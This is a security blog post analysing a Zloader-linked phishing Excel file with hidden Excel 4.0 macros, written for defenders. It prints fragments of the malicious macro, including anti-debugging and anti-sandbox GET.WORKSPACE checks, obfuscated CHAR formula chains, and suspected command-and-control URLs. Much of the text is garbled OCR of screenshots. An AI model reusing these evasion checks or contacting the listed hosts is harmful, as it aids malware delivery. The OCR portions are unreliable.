## Excel 4.0 Macro (XLM) Analysis

## written by Mert SARICA | 1 June 2021

The DDE-based phishing attacks that started in 2017 have been replaced by Microsoft Excel 4.0 Macro (XLM) phishing attacks as of 2020. A little research would show that XLM macros have been introduced to the world since 1992, with the release of Microsoft Excel 4.0. VBA macros, which are frequently misused by threat actors, were first introduced with Excel 5.0 and are still supported in the latest version of Microsoft Office.

If my memory serves me correctly, the first technical article I read about XLM macros was this blog post from Outflank. As research on XLM macros started to reveal their existence, it began to attract attention not only from offensive security experts but also from threat actors. Soon enough, organizations began to experience phishing attacks that contained XLM macros. Due to the difficulty of detecting and analyzing XLM macros as compared to VBA macros, it is not an easy task.

The difficulty in analyzing an Office file containing XLM macros, as I stated in my blog post titled "Microsoft Office Macro Analysis", is caused by the fact that they cannot be easily viewed from the Microsoft Office interface. As a result, the possibility of malicious XLM macro-containing Office files going unnoticed by inexperienced cybersecurity professionals (such as "This Office file is corrupted" or "Does not contain macros") increases. In order to show cybersecurity analysts how XLM macro-containing Microsoft Office files can be analyzed and to raise awareness about XLM macro-containing Microsoft Office files, I decided to write a blog post based on a real-life incident.

In May 2020, alarms began to be generated for many SMTP IP addresses from which hundreds of emails with sender addresses ending in @wp.pl were sent and blocked by security systems. Upon inspection, the emails had attachments with XLS extension, Excel files that have been randomly named. In such cases, one of the most important steps for cybersecurity analysts to take is to identify the addresses of the command and control centers in the malicious document, search for them in web traffic records, and block access throughout the organization.

Of course, when the issue at hand is an Office file containing XLM macros, it's possible that static and dynamic analysis performed by sandbox systems may be insufficient in the face of anti-sandbox techniques (e.g. Sandbox Detection). If the malicious Excel file in question is designed to detect when it is running in a sandbox, then the address of the command and control center will not be revealed during these analyses (VirusTotal, Hybrid-Analysis). In this case, the cybersecurity analyst's job should be to take the malicious Excel file, copy it to a virtual system created for the purpose of malware analysis, and analyze it there.

When running the Excel file in a virtual system, we are presented with two pages (Sheet1 and Sheet2). The first page contains a fake image/message indicating that we need to activate the macro to achieve its malicious intent, while the second page shows empty cells (which are not actually empty). Although Excel may warn us that there is a macro in the file, when we view the macro, it appears to be empty.

This kind of macro-based attack often called "Fileless attack" or "Livingoff-the-land attack" because it doesn't involve in injecting code into the system or download any malicious file. Instead, it makes use of the system's legitimate tools in order to perform its malicious action, thus it's harder to detect.

∃ 5 · 2 · +	ea74b9a	74c0c73cad990d	ldd089927b6 <i>x</i> ls	Shared] [Com	patibility Mod	e) - Excel (Pr	oduct Activa	tion Failed)									Œ	1 - 6	×
File Home Insert Page Layout Formulas Data Review View 🛛 Tell																	Sigr	in A Sh	are
Normal Page Break         Page Custom         Gridlines         Headings         Zoom         100%         Zoom         New Stelection         New Stelection </th <th>Arrange Freeze Unhie</th> <th>CD View Sid [D] Synchro de B Reset W Window</th> <th>de by Side onous Scrolling /indow Position</th> <th>Switch Windows *</th> <th>Macros Macros</th> <th></th> <th>~ ×</th>	Arrange Freeze Unhie	CD View Sid [D] Synchro de B Reset W Window	de by Side onous Scrolling /indow Position	Switch Windows *	Macros Macros														~ ×
A1 * : × ✓ fr																			~
A B C D E F G H I	JK	E TE E	MN	0	Р	Q	R	s	т	U	v	w	x	Y	z	AA	AB	AC	
PROTECTED DOCUMENT     Protected documents     Coment in the Microsoft Excel,     Online preview and mobile devices are not     supported by the protected documents.     Coments     Coments																			
Sheet1 Sheet2 (+)							1 4	1											Þ



When opening the file with any hex editor and looking at the character strings contained within, we can see that, as suspected from the Excel 4.0 Macros series, it contains XLM macros. To be sure that the file contains a macro, when we analyzed the file with the mraptor tool, we could see that the file had a cell named Auto\_Open, which was capable of running automatically, similar to the AutoOpen() function in a VBA macro. To learn the name of the cell and view and analyze it, I used Didier STEVENS' oledump tool. And by using (oledump.py -p plugin\_biff.py -pluginoptions "-o LABEL -s" C:\Users\Mert\Desktop\ea74b9a274c0c73cad990ddd089927b6.xls) I found that the cell that was first run was named Auto\_OpencfitK. This is a clever technique used by the malware developer to evade detection. Knowing that an analyst would use Go To (CTRL-G) in Excel to go to the cell named Auto\_OpencfitK

Ŭ.	Hex Workshop - (Cillsers/Wert/Desktop)ea74693274c4c73cad9903dd06992766.xis]	- 0 - ×-
	) File Edit Disk Options Tools Plug-Ins Window Help 결 중 금 중 後 : 《 유 집 집 말 것 안 論 編 為 20 대 · · · · · · · · · · · · · · · · · ·	- 8 ×
2		
Da	0 1 2 3 4 5 6 7 8 9 A B C D E F 10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 0123456789ABcDEF0123456789ABcDEF012 0002cA38 00 08 00 00 00 02 00 2D 00 00 0D 7F 7D 00 18 00 00 00 05 1 00 17 4E 00 68 74 74 70 73 3A 2F 2F 64	ta Inspector # * * ata at offset 0x0002CA53:
ta Visua	0002CA5E 6F 63 73 2E 6D 69 63 72 6F 73 6F 66 74 2E 63 6F 6D 2F 65 6E 2D 75 73 2F 6F 66 66 69 63 65 75 70 64 61 74 bcs.microsoft.com/en-us/officeupdat 0002CA7E 65 73 2F 6F 66 66 69 63 65 2D 6D 73 69 2D 6E 6F 6E 2D 73 65 63 75 72 69 74 79 2D 75 70 64 61 74 65 73 75 es/office-msi-non-security-updatesu	at8 116 ^
lizer	0002CAA1 [31]00 17 42 00 68 74 74 70 73 3A 2F 2F 64 6F 63 73 2E 6D 69 63 72 6F 73 5F 66 74 2E 63 6F 60 2F 65 6E 2D [N.https://docs.microsoft.com/en-	nt16 29812 ≡ iint16 29812 ≡
	<sup>1</sup> 0002CRE7 75 72 69 74 79 2D 75 70 64 61 74 65 73 75 3B 01 FA 02 52 00 00 00 45 00 00 08 00 00 00 02 00 2D 00 00 urity-updatesu	nt32 1936749684 int32 1936749684
	0002CB2D BE C0 44 FB 66 EA C0 05 41 6F 00 08 44 F1 C9 2B C0 44 A4 65 81 C0 06 41 6F 00 08 44 F0 AF E6 C0 44 DE B7D.fAoD+.D.eAoDD 0002CB50 66 C0 03 41 6F 00 08 44 78 84 58 C0 44 CA B1 B7 C0 05 41 6F 00 08 44 F1 C9 2B C0 44 05 74 14 C0 06 41 6F f.AoDx.X.DAoD+.D.tAo	nt64 7219040655789 int64 7219040655789
	0002CER3 00 08 44 F0 AF E6 C0 44 C6 E9 D9 C0 03 41 6F 00 08 44 86 E6 C7 0 C0 44 69 46 D6 C0 04 41 6F 00 08 44 0C 56DAo.DD.J.FAoD.D.	ialf float 18240. Ioat 1.9050799e+031 *
	0002CBB9 C7 C0 05 41 6F 00 08 44 F1 C9 2B C0 44 86 E1 4F C0 03 41 6F 00 08 44 88 B1 BB C0 44 5D E4 4A C0 03 41 6F Ao D + D. O. Ao D D] J. Ao. B 0002CBDC 00 08 44 B6 E6 70 C0 44 5E 0D B8 C0 05 41 6F 00 08 44 30 93 4C C0 44 3D F58 C0 05 41 6F 00 08 44 F1 09 D., D. D D D D] J. Ao. D B	igned v 32 bit v
*	Structures 😯 🖓 🖉 🖬 🗑 🕂 🗡 🛦 🗠 🗠 🖓 🖓 🕹 🔀 🚼 instances of 'strings' found in C;\Users\Mert\Desktop\es74b9e274c0c73cad990ddd089927b6.xis	晶 治 🕒 🕒 🗙
	Member BJ Value (dec) Value (hex) Value (hex) Size BJ 1 Address BJ Length BJ Length BJ CAUsers/Public/DM//ZaQBJ.html	^
	000/25/8 79 47 tpp://doc.m/crosh.com/en_su/office.gold 0002238 12 0C Windows User 7 Windows User	ites/office-msi-non-security
	0002E880 13 00 Administrator 0002E888 12 0C Windows User	
	0.00.0290 15 0P Mccourt set 0.0076/3 6 6 66 Sheet	
	0003PB6A 0 0A Weinstein	
	9003800 21 15 Section 4	
	0003900 21 15 User-Names 0003900 25 19 Bervina Lea	
vi	0033A02 37 25 Summayfindmation 0033A02 23 35 Decumentationmation	
thure View		•
6 Find	الله المحمد المحمد الله المحمد ا	000 bytes OVR MOD READ
	Administrator: C:\Windows\system32\cmd.exe	
	C:\Users\Mert\Desktop>mraptor.exe_ea74b9a274c0c73cad990ddd089927b6.xls_m	Â
	MacroRaptor 0.56dev5 - http://decalage.info/python/oletools	
	This is work in progress, please report issues at https://github.com/decalage	2/0
	tecools/lssues	_
	Result  Flags Type File	
	Matches: ['Auto_Open', 'URLDownloadToFileA', 'RUN']	
	Flags: A=AutoExec, W=Write, X=Execute	
	Exit coue: 20 - Susricious	
	C:\Users\Mert\Desktop>	
		-
	Computer same demain and werkere un rettiner	
	Administrator CiWindows) system 22) and ava	×
	Administrator: C. (Windows (system 52) (mid.exe	
		. ^
	G:\Users\Mert\Desktop\Hpplications\oledump_V0_0_40/python oledump.py -p plugin_ aiff nunluginontions "-o LABEL -s" C:\Users\Mert\Deskton\ea74b9a274c0c73cad9	a di se
	Oddd089927b6.x1s	-
	1: 4096 '\x05DocumentSummaryInformation'	
	2: 4096 '\x05SummaryInformation' 2: 11209 / Paulaian Log/	
	4996 'llsev Names'	
	5: 172543 'Workbook'	
	Plugin: BIFF plugin	
	0018 28 LABEL : Cell Value, String Constant - build-in-nam	ie
	ASCII:	
	cfitK:	
	0018 26 LABEL : Cell Value, String Constant - ORMULA.FILL	
	ASCII: ORMULA FILL	
	002a 2 PRINTHEADERS : Print Row/Column Labels	
	00fd 10 LABELSST : Cell Value, String Constant/ SST	
	002a 2 PRINTHEADERS : Print Row/Column Labels	
	C:\Users\Mert\Desktop\Applications\oledump_U0_0_40>	
		-

🗄 🗇 - 🗇 - c2/16/2/3/c3/26/3990/16/6/1990/16/6/16/2/26/3990/16/6/1990/16/6/16/26/26/3990/16/6/16/26/26/3990/16/6/16/26/26/3990/16/6/16/26/26/3900/16/6/26/26/3900/16/6/26/26/3900/16/26/26/3900/16/26/26/3900/16/26/26/3900/16/26/26/3900/16/26/26/26/26/26/26/26/26/26/26/26/26/26													🖻 – 🗗 🗙		
File Home	Insert Page Layout	Formulas	Data Review View												Sign in 👂 Share
Paste V Format Pair	ter B I U -	11 · A' A'		Wrap Text G	eneral •	Conditional Format as Formatting * Table *	Normal Check Cell	Bad Explanatory	Good Input	Neutral Linked Cell	Calculation Note	Insert Delete Form	AutoSum ↓ Fill * ◆ Clear *	Sort & Find & Filter * Select *	
Clipboard	F Font	5	Alignmer	at ra	Number 5			St	yles			Cells	E	diting	~
SECORITY WAR	ING Macros have been di	isabled. Ena	able Content												^
A1 * :	X V fx														~
A	В	с	D	E	F	G	н		1	J	к	L	м	N	0 🔺
1	_														
2	Co. To														
5						Go to:									
6								^							
7															
9															
10															
11															
12						Reference		· · ·							
13						Auto_Opendit	(								
14															
16						Sbecial	OK	Cancel							
17							-								
18															
19															
20															
22															
23															
24															
25															
26															
28															
29															
< → Sh	Shett Sheet2 ⊕ :: €														
Ready														H	+ %100

After we found out that the initial cell was an obfuscated macro consisting of 42 FORMULA statements and CHAR functions throughout the file, analyzing and solving each one of them one by one would have taken a significant amount of time. So I decided to proceed with debugging. By going to the Auto\_OpencfitK cell and pressing ALT + F8, I then pressed the Step Into button, and Excel prompted me to allow the macro to run and then close and re-open the file. As soon as the file was opened, Excel quickly moved to the Auto\_OpencfitK cell. To avoid missing this step, I changed the formula =SET.VALUE(FG22029, -490-GET.CELL(17,HX17320)) in that cell to =HALT() and this caused the macro to end. After this, I changed the =HALT() formula to =SET.VALUE(FG22029, -490-GET.CELL(17,HX17320)) and then by pressing the ALT + F8 on the cell, I was able to dynamically analyze the macro from the initial cell without any issues.

E 5 C + C eal/4962/4-0273cad990ddd89927b5.ds [Int 1] [Shared] (Compatibility Mode] - Encel E - 6												ē×						
File	Home Insert	Page Layout	Formulas	Data Review	View 🛛 🖓 Tell men	what you want to o	do										Sign in	₽ <sub>4</sub> Share
Ê	Cut	Calibri + 11	• A* A*	≡ ≡ 😹 🇞・	🕞 Wrap Text	General	•	R 🔛	Normal	Bad	Good	Neutral	Calculation		∑ AutoSum →	. <b>₹</b> ▼ 🔎		
Paste	💞 Format Painter	Β Ι ∐ - ⊞ -	<u>&gt; - A</u> -	= = = = = =	Merge & Center	- 😨 - %	• • • • • • • • •	Conditional Format a Formatting • Table •	Check Cell	Explanatory	Input	Linked Cell	Note	Insert Delete Format	Clear *	Sort & Find & Filter * Select *		
	Clipboard 🖓	Font	Ę.	Ali	gnment	rs Numb	per G				tyles			Cells	Edi	ting		^
1 3	ECURITY WARNING N	Macros have been disab	oled. Enab	ble Content														×
HP24	HP24304 * : × ✓ fr ==SET.VALUE(FG22029, 490-GET.CELL(17,HX17320))																	
	HC	HD	HE	É (	HF	HG	нн	HI		Ð	НК	HL	HM	HN	но	HP		H 🔺
24276																		
24277																		
24278																		
24279																		
24280																		
24281																		
24282																		
24283																		
24284																		
24285																		
24286																		
24287																		
24288																		
24289																		
24290																		
24291																		
24292																		
24293																		
24294																		
24295																		
24290																		
24257																		
24250																		
24233																		
24201																		
24301																		
24302																		
24304																=SET.VALUE(	FG22024	
		ch	3															
-	Sheet1	Sneet2 (+)									4					a m		•

E 5 · C · · C · · C · · C · · C · · C · · C ·													🗷 – 🗗 🗙 Sign in 🔍 Share						
Paste	X Cut E⊇ Copy → ∜ Format Painter	- I B I <u>U</u> -   ⊞ -	1 A A		*	Vrap Text Aerge & Center -	General	• 6.0 -03	Conditional Formatting *	Format as Table -	Normal Check Cell	Bad Explanat	Good ory Input	Neutral Linked Cell	Calculation	ssert Delete Format	∑ AutoSum ↓ Fill ~ ℓ Clear *	* Arr P Sort & Find & Filter * Select *	
	Clipboard 😱	Font	6		Alignment		Numb	er aga					Styles			Cells	E	diting	~
1 3	ECURITY WARNING T	viacros nave been disa	ibled. Ena	ible Content															^
SUM	- : ×	✓ f <sub>x</sub> =H	ALT()																×
	HC	HD	н	E	HF	н	G	нн		н		U U	нк	HL	HM	HN	но	HP	H 🔺
24276																			
24277																			
24278																			
24279																			
24280																			
24281																			
24282																			
24283																			
24284																			
24285																			
24280																			
24287																			
24288																			
24205																			
24290																			
24292																			
24293																			
24294																			
24295																			
24296																			
24297																			
24298																			
24299																			
24300																			
24301																			
24302																			
24303																			_
24304																		=HALT()	· ·
	Sheet1	Sheet2 (+												4					Þ
Edit																	=	II	+ %100

As I continued analyzing by using Step Into and Evaluate buttons, and decoding the hidden cells, I saw that the macro uses various controls against debugging and sandbox environments by using Excel 4.0 Macro Functions Reference document. When I reached the AT41104 cell, which is performing the debugging control, to bypass this control, I copied the =GOTO(AY23948) value in the next cell where it would continue if debugging is not detected.

=IF(GET.WORKSPACE(31),GOTO(HV23758),) Is the macro in debugging mode? (Antidebugging) =IF(GET.WORKSPACE(19),,GOTO(HV23758),) Is a mouse present on the system? (Anti-sandbox) =IF(GET.WORKSPACE(42),,GOTO(HV23758),) Can the system play sound? (Antisandbox)

These statements or functions checks whether macro is running in a sandbox environment or on a real machine or if it's in debugging mode. It also try to detect other anti-sandbox evasions like Mouse or sound. These checks used by malware developer to avoid detection, and prevent the macro from running when it's running in an environment that the attacker doesn't want it to run in.



Η	•ా ిా					ea	74b9a274c0c7 <u>3ca</u> c	1990ddd089927b	o6.xls [Int'l] [Shared]	[Compatibility Mode	] - Excel (Product Ad	tivation Failed)			
File	Home Insert	Page Layout	Formulas	Data Review	v View Q⊺e										
	🔏 Cut	Calibri 👻	11 · A A	= = _ *	🖓 🗧 🐺 Wrap Text	Genera	i v		Normal	Bad	Good	Neutral	Calculat	tion	
Paste	Copy -	B T U - 199	- δ. · Δ. ·	= = = =	= →=	Center y	06 9 60 .00	Conditional	Format as Check Co	ell Explanat	ory Input	Linked Cel	Note	-	Insert D
*	Format Painter	Fort			Alignment	e enter	Number 5	Formatting -	Table *		Stular			•	-
	cipboard is	T ONC	19		Angriment	18	Number is				Styles				
A14		Jx													
41104		AT		44509 (020120)	AU	AV		AW	AX	AY	AZ		BA	BB	
41104	=IF(GET.WORKSPACE	(31),GOTO(HV23	758),)	44308-1723128/0											
41106	=GOTO(AY23948)														
41107	1														
41109															
41110					-										
41112					1										
41113															
41114															
41116															
41117 41118															
41119															
41120															
41122															
41123															
41124															
41126															
41127 41128															
41129															
41130															
41132															
41133															
*	> Sheet1	Sheet2									1				
Ready		_									_				a
File	Home Insert Pac	e Layout Formulas	Data Review		ea74b9a274d me what you want to do	c0c73cad990dddd089927b								Sign in	A Share
1	Cut Calibri	- 11 - A*	≡ =   »	> - 🗟 Wrap Text	General		Normal	Bad	Good	Neutral	culation	ΣΑι	itoSum • A	ρ	
Paste	Copy  Format Painter B I	u -   🖽 -   🖄 - A	· = = = =	Merge & C	ienter - 🔄 - % +	€.0 .00 00 .00 Formatting :	Format as Check Ce	Explanat	ory Input	Linked Cell Not	te Inse	rt Delete Format	Sort & Fil ear* Filter Se	nd &	
	Clipboard 5	Font		Alignment	G Number	rg runnaturig	TUDIC.		Styles			Cells	Editing		^
SUM	• : × •	fx =FORMULA.FI	ILL(CHAR(FG22029*	BY34896)&CHAR(CE	344508-IP29128)&CHAR(	AR51699-IS46266)&CI	HAR(CB44508+GT49	916)&CHAR(GI363	17/BZ3699)&CHAR(HW4	45042*CK53811)&CHAR	(DI59064+A65374)&CH	IAR(AR51699-AS62385)8	CHAR(CB44508/D1	5017)&CHAR(FG2	22029/ ~
41104 =	FORMULA.FILL(CHAR(FG220	AT 029*BY34896)&CHAR(	CB44508-IP29128)8	AU &CHAR(AR51699-IS4	AV 6266)&CHAR(CB44508+G	AW T49916)&CHAR(GI36	AX 317/BZ3699)&CHAR	AY (HW45042*CK538	AZ 11)&CHAR(DI59064+A65	BA 374)&CHAR(AR51699-A	BB \$62385)&CHAR(CB44	BC 508/D15017)&CHAR(FG2	BD 2029/GT28301)&CH	BE AR(BY37681+BR1	.8807)&
41105 ( 41106 H	CHAR(DI59064+U15047)&CHAR(DI59064+U15047)&CHAR(BD47288-B	AR(GI36317/HF35916) R1424)&CHAR(DI5906	&CHAR(AR51699/B 4*HD40475)&CHAF	3Q10984)&CHAR(DI5 R(GI36317/FH26032)	9064-FU20334)&CHAR(C &CHAR(CB44508/AF252)	844508/AJ6841)&CH	AR(BY37681*BK5806 46876)&CHAR(DI590	66)&CHAR(CB4450 64/FG61842)&CH	08*L42532)&CHAR(BD47 AR(BD47288*AA16541)8	288/ES8358)&CHAR(CK &CHAR(DI59064+DR440	33913/BC4641)&CHAR 52)&CHAR(GF45450-C	(AR51699+BR56343)&CH A63553)&CHAR(AR51699	AR(BD47288-DR10 -BX20019)&CHAR(	58)&CHAR(DI5906 BD47288*HW5914	54/ 42)&
41107 0	CHAR(BY37681+HM6623)&CH	HAR(AR51699+I61147)	&CHAR(BD47288*C	GE37118)&CHAR(AR	51699-R42068)&CHAR(F0	G22029-AK5938)&CH4	AR(GI36317/S43155)	&CHAR(HW45042	*IH18890)&CHAR(GI363	17-CL47414)&CHAR(GI3	6317-FJ57885)&CHAR	(DI59064-X48198)&CHAF	R(BY37681*Z17627)	AT41105)	
41109															
41111															
41112															
41114 41115															
41116 41117															
41118															
41120															
41122															
41123 41124															
41125 41126															
41127															
41129															
41130															
41132 41133															
A112A	> Sheet1 Sheet	2 🕀							: 4						¥ F
Edit													III II .		+ %100

		ea74b9a274c0c73cad990ddd	089927b6.xls [Int'l] [Share	d] [Compatibility Mode]	- Excel (Product Activat	ion Failed)					9 - 8 ×
File         Home         Inset         Page Layout         Formulas         E           Paste         S Coty         Calibri         • II         • Å         Ă           Paste         ✓ Format Painter         B         I         I         • Å         ▲           Clipboard         rs         Format Painter         Format Painter         I         • Å         ▲	Data Review View ♀ Tell me what = = → ↔ · ☞ Wrap Text = = → ↔ · ☞ Merge & Center · Alignment ☞	General - Gondania - G	itional Format as Check	al Bad Cell Explanato	Good rry Input Styles	Neutral Linked Cell	Calculation v Note v	Insert Delete Format Cells	∑ AutoSum ▼ ↓ Fill ▼ ≪ Clear ▼ Editin	Sigr	n in 🧟 Share
AU41111 * : × ✓ fx											
AT 41104 =GOTO(AY23948)	UA	AV	AW	AX	AY	AZ	BA	BB	BC	BD	
41105 ===(GE1.WORKSPACE(51),GOTO(HV25758),) 41106 41107											
41108 41109											
41110 41111											
41112 41113 41114											
41115 41116											
41117 41118											
41120 41121											
41122 41123											
41124 41125											
41126 41127 41128											
41129 41130											
41131 41132											
41133 41134 Sheet1 Sheet2 (+)					÷ (1						
	a ana isana mata ar	ea74b9a274c0c73cad990ddd	089927b6.xls [Int'l] [Share	d] [Compatibility Mode]	- Excel (Product Activat	ion Failed)				1	8 - 8 >
Home         Detet         Page Layout         Formulas         C           Copy         Cabin         □         □         ∧         ∧           Parts         of formal Painter         □         □         ∧         ∧           Clipboard         os         Fort         Fort         os         Fort         os           G257139         □         ×         ✓         fs         srORMULA.FILICI	Data     Review     View     V Tell me what       =     =	General General Second Number 39678)&CHAR(AR51698-GM10	itional Format as tting - Table -	al Bad Cell Explanato 8J64525)&CHAR(CB443	Good ny Input Styles 507*FR56688)&CHAR	Neutral Linked Cell (DI59063/P50295) Z	Calculation	Linsert Delete Format Cells	AutoSum - J Fill - S Clear - F Editin 15619)&CHAR(HW	Sign T P ort & Find & ilter * Select * g 45041-DU54703)&CF	n in 24 Share
57110 57111											
57112 57113 57114											
57115 57116		( <b>a</b> t)									
57117 57118		Cell: (e	a74b9a274c0c73cad990ddc	089927b6.xls]Sheet2!AT45	304						
57119 57120 57121		=IF(GET	i: WORKSPACE(19),,GOTO(HV	23758))							
57122 57123		Ste	p Into Evaluate	Halt	Goto						
57124 57125		Step	o Over Pause	Continue	Help						
57126 57127 57128											
57129 57130											
57131 57132											
57133 57134 57125											
57136 57137											
57138 57139 =FORMULA.FILL(CHAR(GI36317-GO62613)&CHAR(FG22	029-IE39678)&CHAR(AR51698-GM10338)&	CHAR(CK33913*BJ64525)&CHA	AR(CB44507*FR56688)&	CHAR(DI59063/P5029	5)&CHAR(AR51698-H	E9612)&CHAR(CK	33913+CK45619)&CHAR	(HW45041-DU54703)&	CHAR(GF45449/L43	8072)&CHAR(AR5169	98+CW25387)
S7140 - GOTO/EP44000)  Sheet1 Sheet2   Sheet4					: 4				FFF (B)		► 
Excel 4.0 Macro Functions Refere × +									(E)	-	0 ×
← → C ☆ A d13ot9o61jdzpp.cloudfront.net/	files/Excel%204.0%20Macro%20Functions	%20Reference.pdf							s o 🖬 🗣	S 1 0 0	0 🕘 0
W nauk 4 Career, Infor 🔛 Linkedin 🎐 Mert SARICA (mer	🧊 ter işaretleri M Inbox - mert.saric	G	4 = Data Entry								omer bookmarks
			5 = Unused 6 = Copy and Data 7 = Cut and Data E If no special mode	Entry ntry s set, returns 0.							
		11	X position of the Mi in points from the le window. In Microso	crosoft Excel works aft edge of the scree ft Excel for the Maci	pace window, meas en to the left edge intosh, always retu	sured of the rns 0.					
		12	Y position of the Mi in points from the t window. In Microso	crosoft Excel worksp op edge of the scree It Excel for the Maci	bace window, meas en to the top edge intosh, always retu	sured of the rns 0.					
		13	Usable workspace v	vidth, in points.							
		14	Usable workspace h	eight, in points.							
		15	Number indicating i	maximized or minim	nized status of Micro	osoft					
			1 = Neither 2 = Minimized 3 = Maximized Microsoft Excel for t	he Macintosh alway	vs returns 3.						
		16	Amount of memory	free (in kilobytes).							
		17	Total memory avail	able to Microsoft Ev	cel (in kilobytes)						
		18	If a math coprocess	or is present, return	ns TRUE; otherwise	2,					
		19	If a mouse is prese In Microsoft Excel for	nt, returns TRUE; of or the Macintosh, al	therwise, returns F, ways returns TRUE	ALSE.					
		20	If a group is presen array of sheets in th value.	t in the workspace, ne group; otherwise	returns a horizonta returns the #N/A	al error					



As I continued debugging, I noticed that the macro attempts to connect to https://docs.microsoft.com/en-us/officeupdates/office-msi-non-security-update s to check for internet connection and stops running if it encounters an error. I also observed that macro checks for permission for macro usage via registry, After that it try to contact with

https://dehabadi[.]ir/wp-keys[.]php and

https://eleventalents[.]com/wp-keys[.]php. Although these addresses were not active during my analysis, my research led me to suspect that these addresses are command and control servers associated with the Zloader malware. Even though I couldn't continue my analysis, my aim was reached successfully by revealing these addresses.

8	ର - ୧ <sup>-</sup> - ea7459a274c0c73cae	990ddd089927b6xbs [lnt'l] [Shared] [Compatibility Mode] - Excel (Product Activation Failed)	■ <i>= =</i> ×
-	Home Inset Page Layout Formulas Data Kevice View V Fei me what you want to do	Normal Bad Good Neutral Calculation : 🛱 🐼 📅 🗵 AutoSum - Ayr 🔎	sign in 124 snare
Paste	■ Copy *	Conditional Formation = Check Cell Explanatory Input Linked Cell Note Inset Delete Format Sort & Find & Ford &	
	Clipboard G Font G Alignment G Number G	Styles Cells Editing	^
GZ57	7139 * : X 🗸 fs =FORMULA.FILL(CHAR(GI36317-GO62613)&CHAR(FG22029-IE39678)&CHAR(AR5169	-GM10338)&CHAR(CK33913*BJ64525)&CHAR(CB44507*FF56688)&CHAR(DI59063/P50295)&CHAR(AR51698-HE9612)&CHAR(CK33913+CK45619)&CHAR(HW45041-DU54703)	&CHAR( *
57139	=FORMULA.FILI_CHAR(GI36317-GO62613)&CHAR(FG22029-IE39678)&CHAR(AR51698-GM10338)&CHAR(CK33913*BJ6452	GZ 5)&CHAR(CB44507*FR56688)&CHAR(DI59063/P50295)&CHAR(AR51698-HE9612)&CHAR(CK33913+CK45619)&CHAR(HW45041-DU54703)&CHAR(GF45449/L43072)&CHAR(ARS 5)&CHAR(CB44507*FR56688)&CHAR(DI59063/P50295)&CHAR(AR51698-HE9612)&CHAR(CK33913+CK45619)&CHAR(HW45041-DU54703)&CHAR(GF45449/L43072)&CHAR(ARS	1698+CW25387)
57140	=GUT0(EP44000)		
57142			
57144 57145	ſ	Carelo Gan	
57146 57147		Cell: (ea74b9a274d):(37cad990ddd089927b6.xi)[Sheet2]HG1552	
57148 57149		Formula: =FORMULA.FLL(=""https://dehabadi.ir/wp-keys.php"";\$8R\$54547)	
57150 57151			
57152 57153		Step Into Evaluate Halt Goto Step Over Pause Continue Help	
57154 57155	L. L		
57156 57157			
57158 57159			
57160 57161			
57162 57163			
57164 57165			
57166 57167			
57168 57169			
Ready	Sheet1 Sheet2 (+)	: •	+ %100
8	es74b9s274c0c73cad		Sign in O Share
	Home braset Page Layout Formulas Data Review View $Q$ Tell me what you want to do So Cut Cuthan $0$ 11. $a$ $A^*$ $A^* \equiv = - 3^{a-1}$ Services Test General $a$	Second and the second s	Sign in A Share
Paste	Home         Inset         Page Layout         Formulas         Data         Review         View         Q Tell me what you were to do $\bigotimes$ Cut         Catabin         11 $\wedge$ $\wedge$ $\equiv$ $\Rightarrow$ $\bigoplus$ Wrap Tell         General $\bigcirc$ $\bigotimes$ Cut         Catabin         11 $\wedge$ $\wedge$ $\equiv$ $\Rightarrow$ $\bigoplus$ $\bigcirc$ $ \bigcirc$ $ <$	Conditional Formates <u>Under Cell</u> Explanatory <u>Input</u> <u>Under Cell</u> Note <u>Input</u> <u>Calculation</u> <u>Celler</u> Formation <u>Celler</u> Forma	Sign in 🧏 Share
Paste	Home         Inset         Pege Layout         Formulas         Data         Review         View         Q Tell me what you want to do $\overset{\circ}{\otimes}$ Cut         Calibri         11 $\overset{\circ}{\wedge}$ $\overset{\circ}{=}$ $\overset{\circ}{=}$ $\overset{\circ}{\otimes}$ Wave Yet         Q Tell me what you want to do $\overset{\circ}{\otimes}$ Cut         Calibri         11 $\overset{\circ}{\wedge}$ $\overset{\circ}{=}$ $\overset{\circ}{=}$ $\overset{\circ}{\otimes}$ $\overset{\circ}{\otimes}$ $\overset{\circ}{=}$ $\overset{\circ}{\otimes}$ $\overset{\circ}{\otimes}$ $\overset{\circ}{=}$ $\overset{\circ}{\otimes}$	Conditional Formates Formating - Table - Styles  Cancel and Calculation - Calculation	Sign in 9 Share
Paste	Home       Inset       Page Layout       Formulas       Data       Review       View       Q       Tell me what you want to do $\mathcal{K}$ cat       E	Conditional Formats Formating Table - Soft Schart (Cx33913*BJ6525)&ChaR(Cx43913*Cx45619)&ChaR(Cx43913*Cx456	Sign in <u>A</u> Share
Paste v GZ57 57139 57140	Home         Insert         Page Layout         Formulas         Data         Review         View         Q         Tell mic what you want to do           & Copy          Image Accessing         Image Acc	Description         Description <thdescription< th=""> <thdescription< th=""></thdescription<></thdescription<>	kign in 2 Share
Paste Paste 57139 57140 57141 57142	Home         Insert         Page Layout         Formulas         Data         Review         View         Q Tell me what you want to do           & Gut         Calibri         III         A*         III         IIII         A*         IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII	Conditional Formats Normal Bad Good Neutral Calculation and Formating Table - Cell Robert Cell Robert State -	kCHAR( 1698+CW25387)
Paste Y GZ57 57139 57140 57141 57142 57143 57144	Home       Inset       Page Layout       Formulus       Data       Review       View       Q reline what you you what you	Conditional Formats Normal Bad Good Neutral Calculation and Formating Table - Conditional Formats - Conditiona	Sign in         Q. Share           A         A
